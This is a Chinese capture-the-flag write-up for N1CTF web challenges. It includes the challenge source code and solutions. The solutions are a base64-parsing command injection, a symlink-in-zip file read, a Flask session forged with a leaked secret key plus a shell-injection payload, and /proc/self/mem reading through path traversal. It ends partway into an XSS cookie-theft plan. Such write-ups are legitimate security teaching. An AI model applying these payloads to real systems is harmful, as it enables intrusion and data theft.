N1CTF_wp
Ping
源码
import base64
import subprocess
import re
import ipaddress
import flask
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False
app = flask.Flask(__name__)
@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400
result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400
@app.route('/')
def index():
return flask.render_template('index.html')
app.run(host='0.0.0.0', port=5000)
这里对输入先base64解码,检查是不是符合ipv4的格式,最后在shell中解码执行命令。
乍一看这设的waf也太强了,基本没法绕过,并且可控的只有输入的base64数据,因此联想到可能是考python和linux中b64decode的解析差异
上源码cpython/Modules/binascii.c at main · python/cpython
if (this_ch == BASE64_PAD) {
padding_started = 1;
if (strict_mode && quad_pos == 0) {
state = get_binascii_state(module);
if (state) {
PyErr_SetString(state->Error, "Excess padding not allowed");
}
goto error_end;
}
if (quad_pos >= 2 && quad_pos + ++pads >= 4) {
/* A pad sequence means we should not parse more input.
** We've already interpreted the data from the quad at this point.
** in strict mode, an error should raise if there's excess data after the padding.
*/
if (strict_mode && i + 1 < ascii_len) {
state = get_binascii_state(module);
if (state) {
PyErr_SetString(state->Error, "Excess data after padding");
}
goto error_end;
}
goto done;
}
continue;
}
b64decode的底层使用c来实现的,这里的注释写了当遇到填充符=时,就不会解析后面的输入了。
在本地尝试一下
>>> base64.b64decode('YWJjZA==')
b'abcd'
>>> base64.b64decode('YWJjZA==YWJjZA==')
b'abcd'
在linux中
le0@DESKTOP-LGRQEPU /m/c/U/乐> echo 'YWJjZA==' | base64 -d
abcd¶ le0@DESKTOP-LGRQEPU /m/c/U/乐> echo 'YWJjZA==YWJjZA==' | base64 -d
abcdabcd¶
因此只需要构造base64之后有==的ipv4地址,然后拼接上想要执行的命令

成功执行


flag{bAse64_15_DIffER3N7_IN_LInUX_anD_pytH0N_i9a7m}
online_unzipper
import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response
app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
users = {}
@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users:
return "用户名已存在"
users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))
@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))
if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"
role = session["role"]
if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())
target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)
zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)
try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"
os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"
return render_template("upload.html")
@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)
files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)
@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500
if __name__ == "__main__":
app.run(host="0.0.0.0")
上传一个压缩包,会自动解压,文件的内容会返回
一开始看到download路由觉得可能有路径穿越,但没成功
软链接任意文件读取
软连接文件它不是一个独立的文件,而是一个指向其他文件 / 目录的 “路径指针”(类似 Windows 的 “快捷方式”)。
通过ln -s /etc/passwd test命令创造软链接
创建一个压缩包,使用-y参数以保证打包的是一个软链接文件zip -y test.zip test
上传后成功读取/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
但是想要执行命令只能通过 os.system(f"unzip -o {zip_path} -d {target_dir}")
其中的target_dir可以通过admin用户来控制
这里的role是通过session获取的 role = session["role"]
所以接下来的思路就是伪造session
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
secret_key在环境变量中
读取/proc/self/environ
FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
这里我直接在本地起了个环境,把role变为admin,得到cookie:eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6IjExMSJ9.aMUAYg.huymbPWI-xeaxtzxyO3bql-c-SY
role成功变为admin

这里就可以开始构造命令了test;ls / > /tmp/1.txt
同样通过软链接读取/tmp/1.txt
app
bin
boot
dev
entrypoint.sh
etc
flag-BBv4itllamUqk6K9Y8vOpNQw3wiRZEqX.txt
home
leo
lib
lib64
media
mnt
opt
passwd3
proc
root
run
sbin
srv
sys
tmp
usr
var
最后读取flag
Peek a Fork
源码
import socket
import os
import hashlib
import fcntl
import re
import mmap
with open('flag.txt', 'rb') as f:
flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')
FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Gateway</title>
<style>
body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
.container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
p { font-size: 1.2rem; }
.status { color: #ffff00; }
</style>
</head>
<body>
<div class="container">
<h1>Firewall</h1>
<p class="status">STATUS: All systems operational.</p>
<p>Your connection has been inspected.</p>
</div>
</body>
</html>"""
def handle_connection(conn, addr, log, factor=1):
try:
conn.settimeout(10.0)
if log:
with open('log.txt', 'a') as f:
fcntl.flock(f, fcntl.LOCK_EX)
log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
for _ in range(factor):
log_bytes = hashlib.sha3_256(log_bytes).digest()
log_entry = log_bytes.hex() + "\n"
f.write(log_entry)
request_data = conn.recv(256)
if not request_data.startswith(b"GET /"):
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
try:
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'
offset = 0
length = -1
match = re.search(pattern, path)
if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())
clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()
except Exception:
response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
conn.sendall(response)
return
if not filename:
response_body = PAGE
response_status = "200 OK"
else:
try:
with open(os.path.normpath(filename), 'rb') as f:
if offset > 0:
f.seek(offset)
data_bytes = f.read(length)
response_body = data_bytes.decode('utf-8', 'ignore')
response_status = "200 OK"
except Exception as e:
response_body = f"Invalid path"
response_status = "500 Internal Server Error"
response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
conn.sendall(response.encode())
except Exception:
pass
finally:
conn.close()
os._exit(0)
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', 1337))
server.listen(50)
print(f"Server listening on port 1337...")
while True:
try:
pid, status = os.waitpid(-1, os.WNOHANG)
except ChildProcessError:
pass
conn, addr = server.accept()
initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
conn.close()
continue
if initial_data.startswith(b'GET /?log=1'):
try:
factor = 1
pattern = rb"&factor=(\d+)"
match = re.search(pattern, initial_data)
if match:
factor = int(match.group(1).decode())
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, True, factor)
except Exception as e:
print("[ERROR]: ", e)
finally:
conn.close()
continue
else:
pid = os.fork()
if pid == 0:
server.close()
handle_connection(conn, addr, False)
conn.close()
if __name__ == '__main__':
main()
可以读取log.txt,尝试一下能不能任意文件读取
path = request_data.split(b' ')[1]
pattern = rb'\?offset=(\d+)&length=(\d+)'
offset = 0
length = -1
match = re.search(pattern, path)
if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())
clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()
这里会把所以符合pattern都替换为空格,试试看能不能构造/etc/passwd
import re
path1 = b'?offset=1&length=5.?offset=1&length=5.?offset=1&length=5/etc/passwd?offset=1&length=5'
pattern = rb'\?offset=(\d+)&length=(\d+)'
match = re.search(pattern, path)
if match:
offset = int(match.group(1).decode())
length = int(match.group(2).decode())
clean_path = re.sub(pattern, b'', path)
filename = clean_path.strip(b'/').decode()
else:
filename = path.strip(b'/').decode()
print(filename)// ../etc/passwd
成功读到

Linux 系统中,/proc/self/mem文件可直接访问当前进程的内存(self表示当前进程 PID),而/proc/self/maps文件会记录进程所有内存区域的地址范围和属性(包括匿名映射)。
读取/proc/self/maps
560e9c84d000-560e9c84e000 r--p 00000000 103:00 15523385 /usr/local/bin/python3.12
560e9c84e000-560e9c84f000 r-xp 00001000 103:00 15523385 /usr/local/bin/python3.12
560e9c84f000-560e9c850000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
560e9c850000-560e9c851000 r--p 00002000 103:00 15523385 /usr/local/bin/python3.12
560e9c851000-560e9c852000 rw-p 00003000 103:00 15523385 /usr/local/bin/python3.12
560e9c871000-560e9ccc2000 rw-p 00000000 00:00 0 [heap]
7fa387d2b000-7fa387d2d000 r--p 00000000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d2d000-7fa387d30000 r-xp 00002000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d30000-7fa387d32000 r--p 00005000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d32000-7fa387d33000 r--p 00006000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d33000-7fa387d34000 rw-p 00007000 103:00 15524156 /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa387d34000-7fa387d35000 r--p 00000000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d35000-7fa387d37000 r-xp 00001000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d37000-7fa387d39000 r--p 00003000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d39000-7fa387d3a000 r--p 00004000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d3a000-7fa387d3b000 rw-p 00005000 103:00 15524153 /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa387d3b000-7fa387d3d000 r--p 00000000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d3d000-7fa387d44000 r-xp 00002000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d44000-7fa387d46000 r--p 00009000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d46000-7fa387d47000 r--p 0000a000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d47000-7fa387d48000 rw-p 0000b000 103:00 15524094 /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa387d48000-7fa387d4d000 r--p 00000000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387d4d000-7fa387dfc000 r-xp 00005000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387dfc000-7fa387e10000 r--p 000b4000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e10000-7fa387e11000 r--p 000c8000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e11000-7fa387e12000 rw-p 000c9000 103:00 15520405 /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa387e12000-7fa387e15000 r--p 00000000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e15000-7fa387e29000 r-xp 00003000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e29000-7fa387e30000 r--p 00017000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e30000-7fa387e31000 r--p 0001d000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e31000-7fa387e32000 rw-p 0001e000 103:00 15520403 /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa387e32000-7fa387f29000 r--p 00000000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa387f29000-7fa3882aa000 r-xp 000f7000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa3882aa000-7fa3883e1000 r--p 00478000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa3883e1000-7fa388464000 r--p 005ae000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa388464000-7fa388467000 rw-p 00631000 103:00 15520163 /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa388467000-7fa38846a000 rw-p 00000000 00:00 0
7fa38846a000-7fa38846e000 r--p 00000000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa38846e000-7fa388474000 r-xp 00004000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388474000-7fa388478000 r--p 0000a000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388478000-7fa388479000 r--p 0000d000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa388479000-7fa38847b000 rw-p 0000e000 103:00 15524114 /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa38847b000-7fa38847f000 r--p 00000000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38847f000-7fa388486000 r-xp 00004000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa388486000-7fa38848a000 r--p 0000b000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848a000-7fa38848b000 r--p 0000f000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848b000-7fa38848c000 rw-p 00010000 103:00 15524149 /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa38848c000-7fa38858c000 rw-p 00000000 00:00 0
7fa38858c000-7fa38858f000 r--p 00000000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38858f000-7fa388597000 r-xp 00003000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa388597000-7fa38859c000 r--p 0000b000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859c000-7fa38859d000 r--p 0000f000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859d000-7fa38859e000 rw-p 00010000 103:00 15524155 /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa38859e000-7fa38869e000 rw-p 00000000 00:00 0
7fa38869e000-7fa3886a2000 r--p 00000000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886a2000-7fa3886ad000 r-xp 00004000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886ad000-7fa3886b6000 r--p 0000f000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b6000-7fa3886b7000 r--p 00017000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b7000-7fa3886b8000 rw-p 00018000 103:00 15524131 /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa3886b8000-7fa38891a000 rw-p 00000000 00:00 0
7fa38891a000-7fa38892b000 r--p 00000000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa38892b000-7fa3889a8000 r-xp 00011000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa3889a8000-7fa388a08000 r--p 0008e000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a08000-7fa388a09000 r--p 000ed000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a09000-7fa388a0a000 rw-p 000ee000 103:00 15520236 /usr/lib/x86_64-linux-gnu/libm.so.6
7fa388a0a000-7fa388a32000 r--p 00000000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388a32000-7fa388b97000 r-xp 00028000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388b97000-7fa388bed000 r--p 0018d000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bed000-7fa388bf1000 r--p 001e2000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bf1000-7fa388bf3000 rw-p 001e6000 103:00 15520148 /usr/lib/x86_64-linux-gnu/libc.so.6
7fa388bf3000-7fa388c00000 rw-p 00000000 00:00 0
7fa388c00000-7fa388d00000 r--p 00000000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa388d00000-7fa388f1f000 r-xp 00100000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa388f1f000-7fa38906f000 r--p 0031f000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa38906f000-7fa3890e6000 r--p 0046e000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa3890e6000-7fa389255000 rw-p 004e5000 103:00 15523607 /usr/local/lib/libpython3.12.so.1.0
7fa389255000-7fa389256000 rw-p 00000000 00:00 0
7fa38925a000-7fa38925c000 r--p 00000000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa38925c000-7fa38925f000 r-xp 00002000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa38925f000-7fa389261000 r--p 00005000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389261000-7fa389262000 r--p 00006000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389262000-7fa389263000 rw-p 00007000 103:00 15524161 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa389263000-7fa389267000 rw-p 00000000 00:00 0
7fa389267000-7fa38926e000 r--s 00000000 103:00 15520059 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa38926e000-7fa3892c8000 r--p 00000000 103:00 15519696 /usr/lib/locale/C.utf8/LC_CTYPE
7fa3892c8000-7fa3892ca000 rw-p 00000000 00:00 0
7fa3892cb000-7fa3892cc000 rw-s 00000000 00:01 1053 /dev/zero (deleted)
7fa3892cc000-7fa3892ce000 rw-p 00000000 00:00 0
7fa3892ce000-7fa3892cf000 r--p 00000000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa3892cf000-7fa3892f7000 r-xp 00001000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa3892f7000-7fa389302000 r--p 00029000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389302000-7fa389304000 r--p 00034000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389304000-7fa389305000 rw-p 00036000 103:00 15520122 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa389305000-7fa389306000 rw-p 00000000 00:00 0
7fff9b4dd000-7fff9b4fe000 rw-p 00000000 00:00 0 [stack]
7fff9b5a8000-7fff9b5ac000 r--p 00000000 00:00 0 [vvar]
7fff9b5ac000-7fff9b5ae000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
/dev/zero 是 Linux 的 “零字节设备”,本身不存储任何数据,但通过 mmap 映射它时,会生成一块 初始值为 0、支持读写的内存区域
由于 /dev/zero 映射区的特性(初始为 0、支持共享、无需关联真实文件数据),进程会通过 mmap("/dev/zero", ...) 创建这块内存,再将 flag 主动写入 到这个映射区(覆盖初始的 0 值)。
将7fa3892cb000转为十进制读取

Unfinished(复现)
源码
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'
class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()
USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1
@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))
USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))
@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')
@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')
@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)
@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio
def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()
except Exception as e:
print(f"Bot error: {str(e)}")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
user www-data;
worker_processes auto;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
listen 80 default_server;
server_name _;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /api/bio/ {
return 403;
}
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
}
}
注意到这两个函数
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)
def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])
page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()
except Exception as e:
print(f"Bot error: {str(e)}")
flag会被添加到cookie当中,并且bot会访问http://localhost/api/bio/{username},联想到xss,我在这个界面植入js代码盗走cookie不就行了?
但是发现/api/bio/被禁了,访问直接返回403
location /api/bio/ {
return 403;
}
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
Nginx location匹配规则及优先级
语法规则
location [=||*|^~] /uri/ { … }
匹配优先级
-
精确匹配
=
完全匹配 URI,优先级最高,匹配成功后立即停止搜索其他规则。2.前缀匹配
^~
